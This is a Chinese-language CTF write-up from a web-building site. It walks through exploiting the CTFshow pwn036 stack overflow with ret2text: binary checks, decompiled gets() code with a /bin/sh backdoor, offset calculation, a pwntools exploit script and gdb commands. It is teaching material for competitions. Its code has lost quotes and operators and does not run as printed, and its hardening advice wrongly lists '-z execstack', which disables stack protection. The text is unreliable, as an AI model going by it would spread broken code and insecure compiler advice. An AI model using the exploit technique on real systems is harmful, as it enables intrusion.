ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

CTF栈溢出实战:Ret2Text攻击技术与后门函数利用

2026/8/13 6:51:07 拓冰建站 浏览量
CTF栈溢出实战:Ret2Text攻击技术与后门函数利用 1. 题目背景与核心概念解析这道来自CTFshow平台的pwn036题目是典型的栈溢出利用场景主要考察Ret2TextReturn to Text攻击技术和后门函数利用能力。在CTF竞赛中这类基础题型出现频率高达60%以上是二进制安全的必修课。栈溢出漏洞的本质是程序向栈上写入数据时没有正确检查边界导致覆盖了函数的返回地址。当函数执行ret指令时处理器会把这个被篡改的地址加载到EIP/RIP寄存器从而控制程序执行流。Ret2Text则是利用程序中已有的代码片段如后门函数来达到攻击目的相比Ret2Libc等复杂技术它不需要泄漏libc地址实现起来更加直接。关键点栈结构在x86和x64架构下有所不同。x86参数通过栈传递x64前六个参数使用寄存器RDI, RSI, RDX, RCX, R8, R9。这在构造payload时需要特别注意。2. 环境准备与初步分析2.1 题目文件检查首先用file命令查看二进制文件属性$ file pwn036 pwn036: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped关键信息32位ELF文件意味着使用栈传参动态链接但未去除符号方便逆向分析未strip保留函数名等调试信息用checksec检查安全机制$ checksec --filepwn036 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)安全机制解读无栈保护Canary可直接栈溢出开启NX栈不可执行需用ROP或已有代码无PIE代码段地址固定后门函数地址确定2.2 逆向工程分析使用Ghidra或IDA进行反编译关键函数伪代码如下void vulnerable_function() { char buffer[64]; gets(buffer); // 明显的栈溢出漏洞 puts(buffer); } int main() { vulnerable_function(); return 0; } // 隐藏的后门函数 void backdoor() { system(/bin/sh); }漏洞点分析gets()函数读取输入时不检查长度可覆盖返回地址buffer长度64字节但输入更长数据会覆盖栈帧存在未调用的backdoor函数地址通常为0x8048xxx3. 漏洞利用实战3.1 计算偏移量在32位系统中覆盖返回地址需要计算buffer到ebp的距离buffer起始地址ebp - 0x48通过反编译确定保存的ebp占4字节返回地址在ebp4因此偏移量 0x48 4 76字节验证方法from pwn import * p process(./pwn036) payload cyclic(100) p.sendline(payload) p.wait() # 用dmesg或gdb查看崩溃时eip的值 eip cyclic_find(0x6161616c) # 示例值 print(fOffset: {eip})3.2 构造payload利用思路填充76字节垃圾数据覆盖返回地址为backdoor函数地址触发shell获取获取backdoor地址$ objdump -d pwn036 | grep backdoor 0804856b backdoor:完整expfrom pwn import * context(archi386, oslinux) backdoor_addr 0x0804856b payload bA*76 p32(backdoor_addr) # 本地测试 # p process(./pwn036) # 远程连接 p remote(pwn.challenge.ctf.show, 12345) p.sendline(payload) p.interactive()3.3 利用技巧进阶地址处理小端序转换必须使用p32()函数遇到坏字符如\x00需要调整payload栈对齐问题某些系统要求16字节栈对齐可在返回地址后加ret指令地址调整通用gdb调试命令gdb ./pwn036 -q b *vulnerable_function25 # 在ret指令处断点 r (python3 -c print(A*76 \x6b\x85\x04\x08)) x/30wx $esp # 查看栈内存4. 防御措施与变种题型4.1 如何防御Ret2Text编译时添加保护gcc -fstack-protector-all -z execstack -o safe safe.c代码层面使用fgets代替gets增加长度检查关键函数地址随机化ASLR4.2 常见变种题型后门函数需要参数void backdoor(int key) { if(key 0x12345678) system(/bin/sh); }解决方案构造ROP链传递参数部分覆盖只能覆盖返回地址的低1-2字节需要精确计算地址页对齐结合格式化字符串先泄漏backdoor地址再进行栈溢出5. 实战经验分享输入输出处理# 推荐使用pwntools的send/recv方法 p.sendlineafter(b , payload) # 等待特定提示再发送 p.recvuntil(bHello) # 接收直到特定字符串自动化测试脚本def test_offset(start, end): for i in range(start, end): try: p process(./pwn036) p.sendline(bA*i bBBBB) p.recv(timeout1) print(fSuccess at {i}) return i except: continue常见错误忘记切换远程/本地模式地址字节序错误栈空间计算错误x86 vs x64未处理程序的标准输入输出通过这道题我们系统掌握了栈溢出和Ret2Text的基本原理。在实际CTF比赛中遇到类似题目时应该快速识别漏洞类型分析防护机制定位可利用的代码片段精确计算偏移量构造稳定payload建议延伸学习方向Ret2Libc技术ROP链构造堆溢出利用现代防护机制绕过